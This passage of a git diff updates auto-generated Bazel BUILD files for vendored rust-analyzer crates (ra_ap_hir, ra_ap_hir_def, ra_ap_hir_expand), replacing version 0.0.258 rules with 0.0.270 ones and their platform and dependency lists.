-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
-        "@vendor__ra_ap_hir_def-0.0.258//:ra_ap_hir_def",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
-        "@vendor__ra_ap_hir_ty-0.0.258//:ra_ap_hir_ty",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel
new file mode 100644
index 000000000000..c85c4bbf9463
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir-0.0.270.bazel
@@ -0,0 +1,115 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_hir",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg",
+        "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def": "hir_def",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand",
+        "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty": "hir_ty",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_hir",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
+        "@vendor_ts__ra_ap_hir_def-0.0.270//:ra_ap_hir_def",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
+        "@vendor_ts__ra_ap_hir_ty-0.0.270//:ra_ap_hir_ty",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.258.bazel
deleted file mode 100644
index 1018a98e564d..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.258.bazel
+++ /dev/null
@@ -1,126 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_hir_def",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg": "cfg",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand": "hir_expand",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit": "limit",
-        "@vendor__ra_ap_mbe-0.0.258//:ra_ap_mbe": "mbe",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_hir_def",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__arrayvec-0.7.6//:arrayvec",
-        "@vendor__bitflags-2.7.0//:bitflags",
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__dashmap-5.5.3//:dashmap",
-        "@vendor__drop_bomb-0.1.5//:drop_bomb",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__fst-0.4.7//:fst",
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__indexmap-2.7.0//:indexmap",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__ra-ap-rustc_abi-0.87.0//:ra_ap_rustc_abi",
-        "@vendor__ra-ap-rustc_parse_format-0.87.0//:ra_ap_rustc_parse_format",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
-        "@vendor__ra_ap_hir_expand-0.0.258//:ra_ap_hir_expand",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit",
-        "@vendor__ra_ap_mbe-0.0.258//:ra_ap_mbe",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__text-size-1.1.1//:text_size",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel
new file mode 100644
index 000000000000..f0e8fd28561c
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_def-0.0.270.bazel
@@ -0,0 +1,130 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_hir_def",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand": "hir_expand",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
+        "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe": "mbe",
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro": "query_group",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span": "span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx": "stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax": "syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt": "tt",
+    },
+    compile_data = glob(
+        include = ["**"],
+        allow_empty = True,
+        exclude = [
+            "**/* *",
+            ".tmp_git_root/**/*",
+            "BUILD",
+            "BUILD.bazel",
+            "WORKSPACE",
+            "WORKSPACE.bazel",
+        ],
+    ),
+    crate_root = "src/lib.rs",
+    edition = "2024",
+    proc_macro_deps = [
+        "@vendor_ts__ra_ap_query-group-macro-0.0.270//:ra_ap_query_group_macro",
+    ],
+    rustc_flags = [
+        "--cap-lints=allow",
+    ],
+    tags = [
+        "cargo-bazel",
+        "crate-name=ra_ap_hir_def",
+        "manual",
+        "noclippy",
+        "norustfmt",
+    ],
+    target_compatible_with = select({
+        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios": [],
+        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
+        "@rules_rust//rust/platform:aarch64-linux-android": [],
+        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
+        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
+        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
+        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
+        "@rules_rust//rust/platform:i686-apple-darwin": [],
+        "@rules_rust//rust/platform:i686-linux-android": [],
+        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
+        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
+        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
+        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
+        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
+        "@rules_rust//rust/platform:wasm32-wasip1": [],
+        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
+        "@rules_rust//rust/platform:x86_64-apple-ios": [],
+        "@rules_rust//rust/platform:x86_64-linux-android": [],
+        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
+        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
+        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
+        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
+        "@rules_rust//rust/platform:x86_64-unknown-none": [],
+        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
+        "//conditions:default": ["@platforms//:incompatible"],
+    }),
+    version = "0.0.270",
+    deps = [
+        "@vendor_ts__arrayvec-0.7.6//:arrayvec",
+        "@vendor_ts__bitflags-2.8.0//:bitflags",
+        "@vendor_ts__cov-mark-2.0.0//:cov_mark",
+        "@vendor_ts__dashmap-5.5.3//:dashmap",
+        "@vendor_ts__drop_bomb-0.1.5//:drop_bomb",
+        "@vendor_ts__either-1.15.0//:either",
+        "@vendor_ts__fst-0.4.7//:fst",
+        "@vendor_ts__hashbrown-0.14.5//:hashbrown",
+        "@vendor_ts__indexmap-2.7.0//:indexmap",
+        "@vendor_ts__itertools-0.12.1//:itertools",
+        "@vendor_ts__la-arena-0.3.1//:la_arena",
+        "@vendor_ts__ra-ap-rustc_abi-0.100.0//:ra_ap_rustc_abi",
+        "@vendor_ts__ra-ap-rustc_hashes-0.100.0//:ra_ap_rustc_hashes",
+        "@vendor_ts__ra-ap-rustc_parse_format-0.100.0//:ra_ap_rustc_parse_format",
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg",
+        "@vendor_ts__ra_ap_hir_expand-0.0.270//:ra_ap_hir_expand",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern",
+        "@vendor_ts__ra_ap_mbe-0.0.270//:ra_ap_mbe",
+        "@vendor_ts__ra_ap_span-0.0.270//:ra_ap_span",
+        "@vendor_ts__ra_ap_stdx-0.0.270//:ra_ap_stdx",
+        "@vendor_ts__ra_ap_syntax-0.0.270//:ra_ap_syntax",
+        "@vendor_ts__ra_ap_tt-0.0.270//:ra_ap_tt",
+        "@vendor_ts__rustc-hash-2.1.1//:rustc_hash",
+        "@vendor_ts__rustc_apfloat-0.2.1-llvm-462a31f5a5ab//:rustc_apfloat",
+        "@vendor_ts__salsa-0.19.0//:salsa",
+        "@vendor_ts__smallvec-1.14.0//:smallvec",
+        "@vendor_ts__text-size-1.1.1//:text_size",
+        "@vendor_ts__tracing-0.1.41//:tracing",
+        "@vendor_ts__triomphe-0.1.14//:triomphe",
+    ],
+)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.258.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.258.bazel
deleted file mode 100644
index 6baf3717b846..000000000000
--- a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.258.bazel
+++ /dev/null
@@ -1,118 +0,0 @@
-###############################################################################
-# @generated
-# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
-# regenerate this file, run the following:
-#
-#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
-###############################################################################
-
-load("@rules_rust//rust:defs.bzl", "rust_library")
-
-package(default_visibility = ["//visibility:public"])
-
-rust_library(
-    name = "ra_ap_hir_expand",
-    srcs = glob(
-        include = ["**/*.rs"],
-        allow_empty = True,
-    ),
-    aliases = {
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db": "base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg": "cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern": "intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit": "limit",
-        "@vendor__ra_ap_mbe-0.0.258//:ra_ap_mbe": "mbe",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser": "parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span": "span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx": "stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax": "syntax",
-        "@vendor__ra_ap_syntax-bridge-0.0.258//:ra_ap_syntax_bridge": "syntax_bridge",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt": "tt",
-    },
-    compile_data = glob(
-        include = ["**"],
-        allow_empty = True,
-        exclude = [
-            "**/* *",
-            ".tmp_git_root/**/*",
-            "BUILD",
-            "BUILD.bazel",
-            "WORKSPACE",
-            "WORKSPACE.bazel",
-        ],
-    ),
-    crate_root = "src/lib.rs",
-    edition = "2021",
-    rustc_flags = [
-        "--cap-lints=allow",
-    ],
-    tags = [
-        "cargo-bazel",
-        "crate-name=ra_ap_hir_expand",
-        "manual",
-        "noclippy",
-        "norustfmt",
-    ],
-    target_compatible_with = select({
-        "@rules_rust//rust/platform:aarch64-apple-darwin": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios": [],
-        "@rules_rust//rust/platform:aarch64-apple-ios-sim": [],
-        "@rules_rust//rust/platform:aarch64-linux-android": [],
-        "@rules_rust//rust/platform:aarch64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:aarch64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:aarch64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:aarch64-unknown-nto-qnx710": [],
-        "@rules_rust//rust/platform:aarch64-unknown-uefi": [],
-        "@rules_rust//rust/platform:arm-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:armv7-linux-androideabi": [],
-        "@rules_rust//rust/platform:armv7-unknown-linux-gnueabi": [],
-        "@rules_rust//rust/platform:i686-apple-darwin": [],
-        "@rules_rust//rust/platform:i686-linux-android": [],
-        "@rules_rust//rust/platform:i686-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:i686-unknown-freebsd": [],
-        "@rules_rust//rust/platform:i686-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:powerpc-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:riscv32imc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:riscv64gc-unknown-none-elf": [],
-        "@rules_rust//rust/platform:s390x-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:thumbv7em-none-eabi": [],
-        "@rules_rust//rust/platform:thumbv8m.main-none-eabi": [],
-        "@rules_rust//rust/platform:wasm32-unknown-unknown": [],
-        "@rules_rust//rust/platform:wasm32-wasip1": [],
-        "@rules_rust//rust/platform:x86_64-apple-darwin": [],
-        "@rules_rust//rust/platform:x86_64-apple-ios": [],
-        "@rules_rust//rust/platform:x86_64-linux-android": [],
-        "@rules_rust//rust/platform:x86_64-pc-windows-msvc": [],
-        "@rules_rust//rust/platform:x86_64-unknown-freebsd": [],
-        "@rules_rust//rust/platform:x86_64-unknown-fuchsia": [],
-        "@rules_rust//rust/platform:x86_64-unknown-linux-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-nixos-gnu": [],
-        "@rules_rust//rust/platform:x86_64-unknown-none": [],
-        "@rules_rust//rust/platform:x86_64-unknown-uefi": [],
-        "//conditions:default": ["@platforms//:incompatible"],
-    }),
-    version = "0.0.258",
-    deps = [
-        "@vendor__cov-mark-2.0.0//:cov_mark",
-        "@vendor__either-1.13.0//:either",
-        "@vendor__hashbrown-0.14.5//:hashbrown",
-        "@vendor__itertools-0.12.1//:itertools",
-        "@vendor__la-arena-0.3.1//:la_arena",
-        "@vendor__ra_ap_base_db-0.0.258//:ra_ap_base_db",
-        "@vendor__ra_ap_cfg-0.0.258//:ra_ap_cfg",
-        "@vendor__ra_ap_intern-0.0.258//:ra_ap_intern",
-        "@vendor__ra_ap_limit-0.0.258//:ra_ap_limit",
-        "@vendor__ra_ap_mbe-0.0.258//:ra_ap_mbe",
-        "@vendor__ra_ap_parser-0.0.258//:ra_ap_parser",
-        "@vendor__ra_ap_span-0.0.258//:ra_ap_span",
-        "@vendor__ra_ap_stdx-0.0.258//:ra_ap_stdx",
-        "@vendor__ra_ap_syntax-0.0.258//:ra_ap_syntax",
-        "@vendor__ra_ap_syntax-bridge-0.0.258//:ra_ap_syntax_bridge",
-        "@vendor__ra_ap_tt-0.0.258//:ra_ap_tt",
-        "@vendor__rustc-hash-2.1.0//:rustc_hash",
-        "@vendor__smallvec-1.13.2//:smallvec",
-        "@vendor__tracing-0.1.41//:tracing",
-        "@vendor__triomphe-0.1.14//:triomphe",
-    ],
-)
diff --git a/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel
new file mode 100644
index 000000000000..716d660159f7
--- /dev/null
+++ b/misc/bazel/3rdparty/tree_sitter_extractors_deps/BUILD.ra_ap_hir_expand-0.0.270.bazel
@@ -0,0 +1,121 @@
+###############################################################################
+# @generated
+# DO NOT MODIFY: This file is auto-generated by a crate_universe tool. To
+# regenerate this file, run the following:
+#
+#     bazel run @@//misc/bazel/3rdparty:vendor_tree_sitter_extractors
+###############################################################################
+
+load("@rules_rust//rust:defs.bzl", "rust_library")
+
+package(default_visibility = ["//visibility:public"])
+
+rust_library(
+    name = "ra_ap_hir_expand",
+    srcs = glob(
+        include = ["**/*.rs"],
+        allow_empty = True,
+    ),
+    aliases = {
+        "@vendor_ts__ra_ap_base_db-0.0.270//:ra_ap_base_db": "base_db",
+        "@vendor_ts__ra_ap_cfg-0.0.270//:ra_ap_cfg": "cfg",
+        "@vendor_ts__ra_ap_intern-0.0.270//:ra_ap_intern": "intern",
